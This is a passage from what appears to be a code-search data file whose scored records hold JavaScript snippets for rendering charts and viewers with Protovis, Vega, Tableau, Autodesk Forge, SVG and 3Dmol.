false;\n\t\t\t});\n\t\t\tgraphCollection.scaleAllGraphsToFit();\n\t\t\tvis.render();\n\t\t})\n\t\t.event(\"mouseover\", function(d){\n\t\t\tthis.strokeStyle(\"black\");\n\t\t\tthis.render();\n\t\t})\n\t\t.event(\"mouseout\", function(d){ \n\t\t\tthis.strokeStyle(pv.rgb(0,0,0,0));\n\t\t\tthis.render();\n\t\t})\n\t\t\n\tfitScalePanel.add(pv.Image)\n\t\t.url(function(){\n\t\t\treturn \"http://centerforbiophotonics.github.com/SeeIt3/img/ruler.png\"\n\t\t})\n\t\t.width(30)\n\t\t.height(30)\n\t\t.top(1)\n\t\t.left(0)\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Scale all graphs identically.\")\n\t\t.event(\"click\", function(){\n\t\t\tgraphCollection.graphs.forEach(function(graph){\n\t\t\t\tgraph.customScale = false;\n\t\t\t\tgraph.fitScaleToData = false;\n\t\t\t});\n\t\t\tgraphCollection.scaleAllGraphsToFit();\n\t\t\tvis.render();\n\t\t})\n\t\t.visible(function() {\n\t\t\tif (graphCollection.buttonIcon)\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t})\n\t\t.anchor(\"left\").add(pv.Label)\n\t\t\t.left(function(){\n\t\t\t\tif (graphCollection.buttonText && !graphCollection.buttonIcon)\n\t\t\t\t\treturn 2;\n\t\t\t\telse\n\t\t\t\t return 32;\n\t\t\t})\n\t\t\t.text(\"Fit Scales\")\n\t\t\t.font(fontString)\n\t\t\t.textStyle(function(){return \"black\"})\n\t\t\t.visible(function() {\n\t\t\t\tif (graphCollection.buttonText)\n\t\t\t\t\treturn true;\n\t\t\t\telse\n\t\t\t\t\treturn false;\n\t\t\t})\n\t\n\tconstructCategoryPanel();\n\t\n\tgraphCollection.graphs.forEach(function(graph,index,graphs){\n\t\tconstructGraphPanel(graph, index);\n\t});\n\tvis.render();\n\tpositionGroupingMenuOverGraph(graphCollection.selectedGraphIndex, graphCollection);\n\t\n\t//if (firstTime){\n\t//\ttoggleAdvancedOptions();\n\t//\tfirstTime = false;\n\t//}\n\tshowHideAdvancedOptions();\n}", "title": "" }, { "docid": "d390a22ffbec17d7f103907908a02333", "score": "0.49874377", "text": "function UD(e,t,r,n,s,o,i,a){var c=(\"function\"===typeof r?r.options:r)||{};return c.__file=\"geom.vue\",c.render||(c.render=e.render,c.staticRenderFns=e.staticRenderFns,c._compiled=!0,s&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "c9ede4d6f678853b781e640efc2b8c7a", "score": "0.49854496", "text": "function loadViz(source, targetid, option) {\n\tjQuery.get(source, function(data){\n\t\tif (option) {\n\t\t\t// generate image and append\n\t\t\tvar image = Viz(data, { format: \"png-image-element\" });\n\t\t\tdocument.getElementById(targetid).appendChild(image);\t\t\t\n\t\t} else {\n\t\t\t// generate and pick out svg element, and append\t\n\t\t\tvar res = Viz(data);\n\t\t\tvar svg = $(res);\n\t\t\tsvg = svg[svg.length-1];\n\t\t\tdocument.getElementById(targetid).appendChild(svg);\t\t\t\n\t\t}\n\t});\n}", "title": "" }, { "docid": "46c2a12d69d520747305e14ac7d2ea18", "score": "0.49647048", "text": "function parseVegaSpec(element, spec, dynamicData) {\n console.log(\"parsing vega spec\"); \n vg.parse.spec(spec, function(chart) { \n vegaview = chart({\n el: element, \n data: {links: dynamicData.links, nodes: dynamicData.nodes}\n })\n .update()\n .on(\"mouseover\", function(event, item) {\n console.log('item',item.mark.marktype,' detected')\n if (item.mark.marktype === 'symbol') {\n vegaview.update({\n props: 'hover0',\n items: item.cousin(1)\n });\n } \n })\n .on(\"mouseout\", function(event, item) {\n if (item.mark.marktype === 'symbol') {\n vegaview.update({\n props: 'update0',\n items: item.cousin(1)\n });\n }\n })\n });\n }", "title": "" }, { "docid": "6ea5e265d626f4c76923ed285034896a", "score": "0.49623653", "text": "updateAsync(data, element, config, queryResponse, details, done) {\n\n // Clear any errors from previous updates\n this.clearErrors();\n\n // some errors and exit if the shape of the data isn't what this chart needs\n if (queryResponse.fields.dimensions.length == 0) {\n this.addError({title: \"No Dimensions\", message: \"This chart requires dimensions.\"});\n return;\n }\n\n // prepare data user places into pivot table\n let jsonData = this.prepareData(data, queryResponse);\n\n // set chart area encoding in vega spec\n this.prepareChartArea(jsonData);\n\n // add formatted data to the vega spec\n this.options.spec.data = {\n values: jsonData,\n };\n\n // get updated spec and use with vega embed\n const updateSpec = this.options.spec\n vegaEmbed('#vis', updateSpec, {defaultStyle: true}).catch(console.warn);\n\n // We are done rendering! Let Looker know.\n done()\n }", "title": "" }, { "docid": "acd5913540036fbd40050b86ee0d620b", "score": "0.49593586", "text": "function displayArticleBox(articleBox) {\n $('#data-chart').append(articleBox);\n}", "title": "" }, { "docid": "d2dc12492a037b0af6418fd28c667a8d", "score": "0.49385083", "text": "function Ij(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"geom.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "9252d5e38bbe48eb24e510db39341c05", "score": "0.49261427", "text": "function initViz() {\n console.log(\"hello\");\n viz = new tableau.Viz(vizContainer, url, options);\n}", "title": "" }, { "docid": "3cb8c924f0ff1fe7ff83445c3d9a2537", "score": "0.4890298", "text": "function Render(params) {\n vegaDataflow.Transform.call(this, null, params);\n}", "title": "" }, { "docid": "883e0b5581f394f21d470f09ffab41bd", "score": "0.48747194", "text": "function Plugin(option) {\n return this.each(function () {\n new Viewer();\n });\n } // function Plugin(option)", "title": "" }, { "docid": "3938f28550b9850e1fdf6df33262e16e", "score": "0.4871445", "text": "function embed(parent, svg, target, use) {\n // if the target exists\n if (target) {\n // create a document fragment to hold the contents of the target\n var fragment = document.createDocumentFragment(), viewBox = !svg.hasAttribute(\"viewBox\") && target.getAttribute(\"viewBox\");\n // conditionally set the viewBox on the svg\n viewBox && svg.setAttribute(\"viewBox\", viewBox);\n // copy the contents of the clone into the fragment\n for (// clone the target\n var clone = document.importNode ? document.importNode(target, !0) : target.cloneNode(!0), g = document.createElementNS(svg.namespaceURI || \"http://www.w3.org/2000/svg\", \"g\"); clone.childNodes.length; ) {\n g.appendChild(clone.firstChild);\n }\n if (use) {\n for (var i = 0; use.attributes.length > i; i++) {\n var attr = use.attributes[i];\n \"xlink:href\" !== attr.name && \"href\" !== attr.name && g.setAttribute(attr.name, attr.value);\n }\n }\n fragment.appendChild(g), // append the fragment into the svg\n parent.appendChild(fragment);\n }\n }", "title": "" }, { "docid": "94cdab1b42badd2e1e3b47e954d25f10", "score": "0.48695374", "text": "function kh(e,t,r,n,s,o,i,a){var c=(\"function\"===typeof r?r.options:r)||{};return c.__file=\"layer.vue\",c.render||(c.render=e.render,c.staticRenderFns=e.staticRenderFns,c._compiled=!0,s&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "de685547b6dfcc521934259e6b9f2d12", "score": "0.48557252", "text": "function initViz() {\n var placeholderDiv = document.getElementById(\"Div1\"),\n vizURL = \"https://public.tableau.com/views/Elections_16312857232880/Dashboard1?:language=en-US&:display_count=n&:origin=viz_share_link\";\n options = {\n //width: placeholderDiv.offsetWidth,\n //height: placeholderDiv.offsetHeight,\n hideTabs: true,\n onFirstInteractive: function () {\n workbook = viz.getWorkbook();\n //querySheets();\n activeSheet = workbook.getActiveSheet();\n console.log(activeSheet.getName());\n }\n };\n //viz = new tableau.Viz(placeholderDiv, url,options);\n //viz.setFrameSize(parseInt(width, 10), parseInt(height, 10));\n \n //vizCount = vizCount + vizPlusMinus;\n\n //if (vizCount >= vizLen) {\n // Keep the vizCount in the bounds of the array index.\n // vizCount = 0;\n //} else if (vizCount < 0) {\n // vizCount = vizLen - 1;\n //}\n \n //if (viz) { // If a viz object exists, delete it.\n // viz.dispose();\n //}\n \n //var vizURL = vizList[vizCount];\n \n viz = new tableau.Viz(placeholderDiv, vizURL, options);\n \n \n console.log(\"viz displayed\");\n //viz.addEventListener(tableau.TableauEventName.FILTER_CHANGE, switchTabsThenFilterThenSelectMarks);\n console.log(\"event listened to\");\n \n //setAppliedWorksheetsAsync(applyToWorksheets: values[0] )\n}", "title": "" }, { "docid": "969cf00289f3c9fd94e30ebd61d63b90", "score": "0.48512942", "text": "function embed(parent, svg, target, use) {\n // if the target exists\n if (target) {\n // create a document fragment to hold the contents of the target\n var fragment = document.createDocumentFragment(),\n viewBox = !svg.hasAttribute(\"viewBox\") && target.getAttribute(\"viewBox\");\n // conditionally set the viewBox on the svg\n viewBox && svg.setAttribute(\"viewBox\", viewBox);\n // copy the contents of the clone into the fragment\n for (\n // clone the target\n var clone = document.importNode ? document.importNode(target, !0) : target.cloneNode(!0), g = document.createElementNS(svg.namespaceURI || \"http://www.w3.org/2000/svg\", \"g\"); clone.childNodes.length;) {\n g.appendChild(clone.firstChild);\n }\n if (use) {\n for (var i = 0; use.attributes.length > i; i++) {\n var attr = use.attributes[i];\n \"xlink:href\" !== attr.name && \"href\" !== attr.name && g.setAttribute(attr.name, attr.value);\n }\n }\n fragment.appendChild(g),\n // append the fragment into the svg\n parent.appendChild(fragment);\n }\n }", "title": "" }, { "docid": "79599db7317a6ca22eca322f1386305a", "score": "0.48397893", "text": "function viewByTokenAndUrn(token, urn, divId) {\n\n var viewer;\n var viewerDivId;\n\n //==================================================\n // Various callback functions\n //==================================================\n\n /**\n * Autodesk.Viewing.Document.load() success callback.\n * Proceeds with model initialization.\n */\n function onDocumentLoadSuccess(doc) {\n\n // A document contains references to 3D and 2D viewables.\n var viewables = Autodesk.Viewing.Document.getSubItemsWithProperties(doc.getRootItem(), { 'type': 'geometry' }, true);\n\n if (viewables.length === 0) {\n console.error('Document contains no viewables.');\n return;\n }\n\n // Choose any of the avialble viewables\n var initialViewable = viewables[0];\n var svfUrl = doc.getViewablePath(initialViewable);\n var modelOptions = {\n sharedPropertyDbPath: doc.getPropertyDbPath()\n };\n\n //var viewerDiv = document.getElementById('MyViewerDiv');\n var viewerDiv = document.getElementById(viewerDivId);\n viewer = new Autodesk.Viewing.Private.GuiViewer3D(viewerDiv);\n viewer.start(svfUrl, modelOptions, onLoadModelSuccess, onLoadModelError);\n }\n\n /**\n * Autodesk.Viewing.Document.load() failuire callback.\n */\n function onDocumentLoadFailure(viewerErrorCode) {\n console.error('onDocumentLoadFailure() - errorCode:' + viewerErrorCode);\n }\n\n /**\n * viewer.loadModel() success callback.\n * Invoked after the model's SVF has been initially loaded.\n * It may trigger before any geometry has been downloaded and displayed on-screen.\n */\n function onLoadModelSuccess(model) {\n console.log('onLoadModelSuccess()!');\n console.log('Validate model loaded: ' + (viewer.model === model));\n console.log(model);\n }\n\n /**\n * viewer.loadModel() failure callback.\n * Invoked when there's an error fetching the SVF file.\n */\n function onLoadModelError(viewerErrorCode) {\n console.error('onLoadModelError() - errorCode:' + viewerErrorCode);\n }\n\n //======================================================================\n // Main \n //======================================================================\n\n var options = {\n env: 'AutodeskProduction',\n accessToken: token //'<YOUR_APPLICATION_TOKEN>'\n };\n\n var documentId = 'urn:' + urn; // 'urn:<YOUR_URN_ID>';\n\n viewerDivId = divId; // This is where your viewer goes. e.g., <div id=\"MyViewerDiv\"/>\n\n // This is from basic viewer.\n Autodesk.Viewing.Initializer(options, function onInitialized() {\n Autodesk.Viewing.Document.load(documentId, onDocumentLoadSuccess, onDocumentLoadFailure);\n });\n\n}", "title": "" }, { "docid": "7bf62b251ec25ce217291304f6c876e8", "score": "0.48355317", "text": "function KP(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"geom.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "f8888b63c373c3fc24bd126abbb734e8", "score": "0.4835254", "text": "function render(selector, options) {\n\n var\n graphWrapper = $(selector);\n\n // if we can't find the element in the DOM, we're dead in the water; bail.\n if (graphWrapper.length === 0) {\n console.warn(\n \"An element was not found from the given selector; can't graph:\", \n selector\n );\n\n return;\n }\n\n // render our HTML wrapper first so we can get accurate offsets for sizing the SVG\n graphWrapper.append(\n renderHeader(options)\n );\n\n // simply CSS-hook when our graph is good to go\n graphWrapper.addClass('graph-ready');\n }", "title": "" }, { "docid": "0b3cfea4c71862f7b153b60dd72f4a25", "score": "0.48296025", "text": "function _RendererGl(loader) {\r\n //dynamic superclass, since we don't know have vega.View in the declaration phase\r\n class RendererGlInternal extends base.vega.Renderer {\r\n initialize(el, width, height, origin) {\r\n this.height = height;\r\n this.width = width;\r\n // this method will invoke resize to size the canvas appropriately\r\n return super.initialize(el, width, height, origin);\r\n }\r\n resize(width, height, origin) {\r\n super.resize(width, height, origin);\r\n this.origin = origin;\r\n this.height = height;\r\n this.width = width;\r\n //rteturn this for vega\r\n return this;\r\n }\r\n _render(scene, items) {\r\n const scene3d = scene;\r\n scene3d.view = this.getView();\r\n this.presenter.present(scene3d, this.height, this.width, this.presenterConfig);\r\n //return this for vega\r\n return this;\r\n }\r\n }\r\n const instance = new RendererGlInternal(loader);\r\n return instance;\r\n}", "title": "" }, { "docid": "51c2aba1fe87c2eee116a4c1e4fc3dd0", "score": "0.48252004", "text": "show() {\n const self = this;\n const options = self.options;\n const element = self.element;\n\n if (options.inline || self.transitioning) {\n return self;\n }\n\n if (!self.ready) {\n self.build();\n }\n\n if ($.isFunction(options.show)) {\n $.addListener(element, 'show', options.show, true);\n }\n\n if ($.dispatchEvent(element, 'show') === false) {\n return self;\n }\n\n self.open();\n\n const viewer = self.viewer;\n\n $.removeClass(viewer, 'viewer-hide');\n $.addListener(element, 'shown', () => {\n self.view(self.target ? $.inArray(self.target, $.toArray(self.images)) : self.index);\n self.target = false;\n }, true);\n\n if (options.transition) {\n self.transitioning = true;\n $.addClass(viewer, 'viewer-transition');\n $.forceReflow(viewer);\n $.addListener(viewer, 'transitionend', $.proxy(self.shown, self), true);\n $.addClass(viewer, 'viewer-in');\n } else {\n $.addClass(viewer, 'viewer-in');\n self.shown();\n }\n\n return self;\n }", "title": "" }, { "docid": "777fbac6c8b0c0d17a40a91ce7105db2", "score": "0.48219046", "text": "function BM(t,e,n,i,r,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"layer.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,r&&(u.functional=!0)),u._scopeId=i,u}", "title": "" }, { "docid": "ee69cffdf699730801e5886bd61346d6", "score": "0.48179585", "text": "viewMaker(element){\n const valueAdd = $(document.createElement(element.type));\n valueAdd.attr('src', element.src);\n valueAdd.attr('id',element.id);\n valueAdd.text(element.text);\n valueAdd.attr('placeholder', element.placeholder);\n valueAdd.attr('aria-label', element.ariaLabel);\n valueAdd.attr('aria-describedby', element.ariaDescribedby);\n valueAdd.addClass(element.class);\n return valueAdd;\n }", "title": "" }, { "docid": "2721de06c7f7967066d9fcb61529d960", "score": "0.48130825", "text": "function Ay(e,t,r,n,s,o,i,a){var c=(\"function\"===typeof r?r.options:r)||{};return c.__file=\"geom.vue\",c.render||(c.render=e.render,c.staticRenderFns=e.staticRenderFns,c._compiled=!0,s&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "212f554d52d73b1c0a9ebf306f2ce257", "score": "0.48094147", "text": "function Z_(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"geom.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "fd9d767decfe1441f07b20875f7fb59a", "score": "0.4802736", "text": "function embed(tag){\n\n document.write(tag);\n}", "title": "" }, { "docid": "8e82f37b8735d800939ff9be652b3e7b", "score": "0.48025674", "text": "function tu(t,e,n,r,i,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"geom.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,i&&(u.functional=!0)),u._scopeId=r,u}", "title": "" }, { "docid": "cb912e0988b5b6c93e076d732917f2e2", "score": "0.47964725", "text": "renderModel(model) {\n return __awaiter(this, void 0, void 0, function* () {\n const spec = model.data[this._mimeType];\n const metadata = model.metadata[this._mimeType];\n const embedOptions = metadata && metadata.embed_options ? metadata.embed_options : {};\n const mode = this._mimeType === exports.VEGA_MIME_TYPE ? 'vega' : 'vega-lite';\n const vega = Private.vega != null ? Private.vega : yield Private.ensureVega();\n const path = yield this._resolver.resolveUrl('');\n const baseURL = yield this._resolver.getDownloadUrl(path);\n const el = document.createElement('div');\n // clear the output before attaching a chart\n this.node.innerHTML = '';\n this.node.appendChild(el);\n this._result = yield vega.default(el, spec, Object.assign({ actions: true, defaultStyle: true }, embedOptions, { mode, loader: {\n baseURL,\n http: { credentials: 'same-origin' }\n } }));\n if (model.data['image/png']) {\n return;\n }\n // Add png representation of vega chart to output\n const imageURL = yield this._result.view.toImageURL('png');\n model.setData({\n data: Object.assign({}, model.data, { 'image/png': imageURL.split(',')[1] })\n });\n });\n }", "title": "" }, { "docid": "03c15054a2609f9c715a1a58403dcba8", "score": "0.47935072", "text": "function ChartsExtension(viewer, options) {\n Autodesk.Viewing.Extension.call(this, viewer, options);\n}", "title": "" }, { "docid": "576acafd6b04dc747cbf8874cbb57d70", "score": "0.47742063", "text": "function showEditor($, confEditor, pageBody, script, json) {\n confEditor.hide(); \n window.location.hash = \"#pipeline-editor\";\n pageBody.append(\"<div id='pipeline-visual-editor'>\" +\n \"<div class='bootstrap-3'><p>\" +\n fixFlowCSS() +\n pipelineEditorArea() +\n detailContainer() +\n \"<div class='container'><input id='back-to-config' type=button class='btn btn-primary' value='Done'></input></div>\"+\n \"</div></div>\");\n \n $('#back-to-config').click(function() { \n confEditor.show(); \n $(\"#pipeline-visual-editor\").remove(); \n window.location.hash = \"\";\n Belay.off();\n });\n \n $(window).resize(function(){ \n h.autoJoin();\n });\n\n \n console.log(script.val());\n console.log(json.val());\n \n h.initSVG();\n h.drawPipeline();\n \n script.val(\"yeah\");\n\n}", "title": "" }, { "docid": "5815f4f98234f0a0ac830a25ee0696ac", "score": "0.477373", "text": "renderElView(el) {\n let a = document.createElement('a');\n let icon = document.createElement('i');\n a.className = 'view';\n icon.className = 'fa fa-eye';\n a.appendChild(icon);\n\n a.addEventListener('click', e => {\n if (icon.classList.contains('fa-eye')) {\n icon.classList.remove('fa-eye');\n icon.classList.add('fa-eye-slash');\n this.iFrameDoc.getElementById(el.id).style.opacity = '0';\n } else {\n icon.classList.remove('fa-eye-slash');\n icon.classList.add('fa-eye');\n this.iFrameDoc.getElementById(el.id).style.opacity = '';\n }\n e.stopPropagation();\n });\n\n return a;\n }", "title": "" }, { "docid": "d530a6cb4f8912e37783810de3b8ea37", "score": "0.47688738", "text": "function appendAmpVideo() {\n gridLayerEl.appendChild(win.document.createElement('amp-video'));\n }", "title": "" }, { "docid": "ea65e4a210fe7f553cad51f7be5d5031", "score": "0.47632194", "text": "render() {\n throw new Error('Extend the render method to add your plugin to a DOM element');\n }", "title": "" }, { "docid": "6c4d2dc5e75b2960ae339fbdeaabf73a", "score": "0.4752705", "text": "function Viewer(element) {\n\t\t//private variables and functions\n\t\tvar ec = $3Dmol.elementColors;\n\t\t\n\t\tvar margins = {left: 0, right: 0}; \n\t\t\n\t\tvar featureColors = {'Aromatic': 'purple', 'HydrogenDonor': '0xf0f0f0', 'HydrogenAcceptor': 'orange', \n\t\t\t\t\t\t\t'Hydrophobic': 'green', 'NegativeIon': 'red', 'PositiveIon': 'blue', 'ExclusionSphere': 'grey',\n\t\t\t\t\t\t\t'InclusionSphere': 'yellow'};\n\n\t\t\n\t\tvar modelsAndStyles = {\n\t\t\t\t'Ligand': {model: null,\n\t\t\t\t\tdefaultColor: '#C8C8C8',\n\t\t\t\t\tcolorscheme: $.extend({},$3Dmol.elementColors.defaultColors),\n\t\t\t\t\tselectedstyle: 'stick',\n\t\t\t\t\tstyles: {\n\t\t\t\t\t\tstick: {name: \"Stick\",\n\t\t\t\t\t\t\tstyle: {stick:{radius: 0.15}},\n\t\t\t\t\t\t\tnonbond: {sphere: {radius: 0.15}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\twire: {name: \"Wire\",\n\t\t\t\t\t\t\tstyle: {line:{linewidth: 2.0}},\n\t\t\t\t\t\t\tnonbond: {sphere: {radius: 0.05}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\tsphere: {name: \"Sphere\",\n\t\t\t\t\t\t\tstyle: {sphere:{}},\n\t\t\t\t\t\t\tnonbond: {sphere: {}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\tnone: {name: \"None\",\n\t\t\t\t\t\t\tstyle: {},\n\t\t\t\t\t\t\tnonbond: {}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t'Receptor':{model: null,\n\t\t\t\t\tdefaultColor: '#C8C8C8',\n\t\t\t\t\tcolorscheme: $.extend({},$3Dmol.elementColors.defaultColors),\n\t\t\t\t\tbackbone: null,\n\t\t\t\t\tselectedstyle: 'cartoonwire',\n\t\t\t\t\tstyles: {\n\t\t\t\t\t\tstick: {name: \"Stick\",\n\t\t\t\t\t\t\tstyle: {stick:{radius: 0.1}},\n\t\t\t\t\t\t\tnonbond: {sphere: {radius: 0.1}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\twire: {name: \"Wire\",\n\t\t\t\t\t\t\tstyle: {line:{linewidth: 3.0}},\n\t\t\t\t\t\t\tnonbond: {sphere: {radius: 0.05}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\tsphere: {name: \"Sphere\",\n\t\t\t\t\t\t\tstyle: {sphere:{}},\n\t\t\t\t\t\t\tnonbond: {sphere: {}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\tcartoon: {name: \"Cartoon\",\n\t\t\t\t\t\t\tstyle: {cartoon:{}},\n\t\t\t\t\t\t\tnonbond: {sphere: {radius: 0.1}}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\tcartoonwire: {name: \"Cartoon+Wire\",\n\t\t\t\t\t\t\tstyle: {cartoon: {}, line: {linewidth: 3.0}},\n\t\t\t\t\t\t\tnonbond: {sphere: {radius: 0.2}}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\tnone: {name: \"None\",\n\t\t\t\t\t\t\tstyle: {},\n\t\t\t\t\t\t\tnonbond: {}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t}, \n\t\t\t\t'Results': {model: null,\n\t\t\t\t\tdefaultColor: 'gray',\n\t\t\t\t\tcolorscheme: $.extend({},$3Dmol.elementColors.defaultColors),\n\t\t\t\t\tselectedstyle: 'stick',\n\t\t\t\t\tstyles: {\n\t\t\t\t\t\tstick: {name: \"Stick\",\n\t\t\t\t\t\t\tstyle: {stick:{radius: 0.25}},\n\t\t\t\t\t\t\tnonbond: {sphere: {radius: 0.25}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\twire: {name: \"Wire\",\n\t\t\t\t\t\t\tstyle: {line:{linewidth: 4.0}},\n\t\t\t\t\t\t\tnonbond: {sphere: {radius: 0.1}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\tsphere: {name: \"Sphere\",\n\t\t\t\t\t\t\tstyle: {sphere:{}},\n\t\t\t\t\t\t\tnonbond: {sphere: {}}\n\t\t\t\t\t\t},\n\t\t\t\t\t\tnone: {name: \"None\",\n\t\t\t\t\t\t\tstyle: {},\n\t\t\t\t\t\t\tnonbond: {}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t};\n\t\tvar surface = null;\n\t\tvar surfaceStyle = {map:{prop:'partialCharge',scheme:new $3Dmol.Gradient.RWB(-0.8,0.8)}, opacity:0.8};\n\t\tvar viewer = null;\n\t\tvar shapes = [];\n\t\t\n\t\tvar getExt = function(fname) { \n\t\t\tif(!fname) return \"\";\n\t\t\tvar a = fname.split(\".\");\n\t\t\tif( a.length <= 1 ) {\n\t\t\t return \"\";\n\t\t\t}\n\t\t\treturn a.pop(); \n\t\t};\n\t\t\n\t\t//applies the current selectedstyle and colorscheme for name\n\t\tvar updateStyle = function(name) {\n\t\t\tvar rec = modelsAndStyles[name];\n\t\t\tvar stylename = rec.selectedStyle;\n\t\t\tvar s = rec.styles[stylename];\n\t\t\tvar style = s.style;\n\t\t\tvar nbond = s.nonbond;\n\n\t\t\tvar model = rec.model;\n\t\t\tif(model) {\n\t\t\t\tmodel.setStyle({}, style);\n\t\t\t\tmodel.setStyle({bonds: 0}, nbond);\n\t\t\t}\t\t\t\t\n\t\t\t\n\t\t\tviewer.render();\n\t\t};\n\t\t\n\t\t//create jquery selection object for picking molecule style\n\t\t//adds a table row\n\t\tvar createStyleSelector = function(name, table, callback) {\n\t\t\tvar rec = modelsAndStyles[name];\n\t\t\tvar ret = $('<tr>').appendTo(table).addClass('pharmit_styleselectrow');\n\t\t\tvar id = name+\"MolStyleSelect\";\n\t\t\t$('<label for=\"'+id+'\">'+name+':</label>').appendTo(ret).addClass('pharmit_stylelabel').appendTo($('<td>').appendTo(ret));\n\t\t\t\n\t\t\tvar cell = $('<td nowrap>').appendTo(ret);\n\t\t\tvar select = $('<select name=\"'+id+'\" id=\"'+id+'\">').appendTo(cell).addClass('pharmit_styleselector');\n\t\t\t$.each(rec.styles, function(key, value) {\n\t\t\t\t$('<option value=\"'+key+'\">'+value.name+'</option>').appendTo(select);\n\t\t\t});\n\t\t\t\n\t\t\tselect.val(rec.selectedstyle);\n\t\t\tselect.selectmenu({\n\t\t\t\twidth: '11em', \n\t\t\t\tappendTo: table, \n\t\t\t\tchange: function() {select.change();},\n\t\t\t\tposition: {my: \"left top\", at: \"left bottom\", collision: \"flip\"}\n\t\t\t});\n\t\t\t\n\t\t\t//workaround firefox bug - remove element style so css stylesheet takes effect\n\t\t\tselect.selectmenu( \"widget\" ).css('width','');\n\t\t\t\n\t\t\tvar colorscheme = rec.colorscheme;\n\t\t\t//give color scheme to all substyles, this is reference so change the original colorscheme should change the styles\n\t\t\t$.each(rec.styles, function(key, subrec) {\n\t\t\t\t$.each(subrec.style, function(key,value) {\n\t\t\t\t\tvalue.colorscheme = colorscheme;\n\t\t\t\t});\n\t\t\t});\t\t\t\t\t\n\t\t\t\n\t\t\tselect.change(function() {\n\t\t\t\trec.selectedStyle = this.value;\n\t\t\t\tselect.selectmenu(\"refresh\");\t \n\t\t\t\tupdateStyle(name);\n\t\t\t});\n\t\t\t\n\t\t\tvar colorpicker = $('<input name=\"'+id+'color\">').appendTo($('<td>').appendTo(ret));\n\t\t\tcolorpicker.val(rec.defaultColor);\n\t\t\tcolorpicker.change(function() {\n\t\t\t\tvar c = this.value;\n\t\t\t\tcolorpicker.spectrum(\"set\",c);\n\t\t\t\tvar color = parseInt(colorpicker.spectrum(\"get\").toHex(),16); //number\n\t\t\t\trec.colorscheme.C = color;\n\t\t\t\tupdateStyle(name);\n\t\t\t});\n\t\t\t\n\t\t\tcolorpicker.spectrum({\n\t\t\t showPalette: true,\n\t\t\t preferredFormat: \"hex\",\n\t\t\t replacerClassName: 'ui-state-default ui-corner-all',\n\t\t\t showPaletteOnly: true,\n\t\t\t clickoutFiresChange: true,\n\t\t\t palette: ['#C8C8C8', 'gray', 'white','green','cyan','magenta','yellow','orange','purple','blue'],\n\t\t\t change: function(color) { \n\t\t\t \tcolorpicker.change();\n\t\t\t }\n\t\t\t});\t\t\n\t\t\t\n\t\t\tselect.change();\n\t\t\tcolorpicker.change();\n\t\t\tselect.selectmenu(\"refresh\");\t \n\t\n\t\t};\n\t\t\n\t\t//public variables and functions\n\t\t\n\t\t//add controls for change the styles of the div to the specified element\n\t\tthis.appendViewerControls = function(vizgroup) {\n\t\t\t\n\t\t\tvar table = $('<table>').appendTo(vizgroup);\n\t\t\tcreateStyleSelector(\"Ligand\", table, null);\n\t\t\tcreateStyleSelector(\"Results\", table, null);\n\t\t\tcreateStyleSelector(\"Receptor\", table, null);\n\t\t\t\n\t\t\t//backbone color scheme\n\t\t\tvar backdiv = $('<div>').addClass('pharmit_backbonediv').appendTo(vizgroup);\n\t\t\t$('<label for=\"receptorbackbone\">Receptor Backbone:</label>').appendTo(backdiv);\n\t\t\tvar bradiodiv = $('<div id=\"receptorbackbone\">').appendTo(backdiv);\n\t\t\t$('<input type=\"radio\" id=\"plainBackbone\" name=\"receptorbackbone\"><label for=\"plainBackbone\">Plain</label>').appendTo(bradiodiv)\n\t\t\t\t.change(function() {\n\t\t\t\t\tif($(this).prop(\"checked\")) {\n\t\t\t\t\t\tvar rec = modelsAndStyles.Receptor;\n\t\t\t\t\t\tdelete rec.styles.cartoon.style.cartoon.color;\n\t\t\t\t\t\tdelete rec.styles.cartoonwire.style.cartoon.color;\t\t\t\t\t\t\n\t\t\t\t\t\tupdateStyle('Receptor');\n\t\t\t\t\t}\n\t\t\t\t\tbradiodiv.buttonset(\"refresh\");\n\t\t\t\t}).prop(\"checked\",true);\n\t\t\t$('<input type=\"radio\" id=\"rainbowBackbone\" name=\"receptorbackbone\"><label for=\"rainbowBackbone\">Rainbow</label>').appendTo(bradiodiv)\n\t\t\t\t.change(function() {\n\t\t\t\t\t\tif($(this).prop(\"checked\")) {\n\t\t\t\t\t\t\tvar rec = modelsAndStyles.Receptor;\n\t\t\t\t\t\t\trec.styles.cartoon.style.cartoon.color = 'spectrum';\n\t\t\t\t\t\t\trec.styles.cartoonwire.style.cartoon.color = 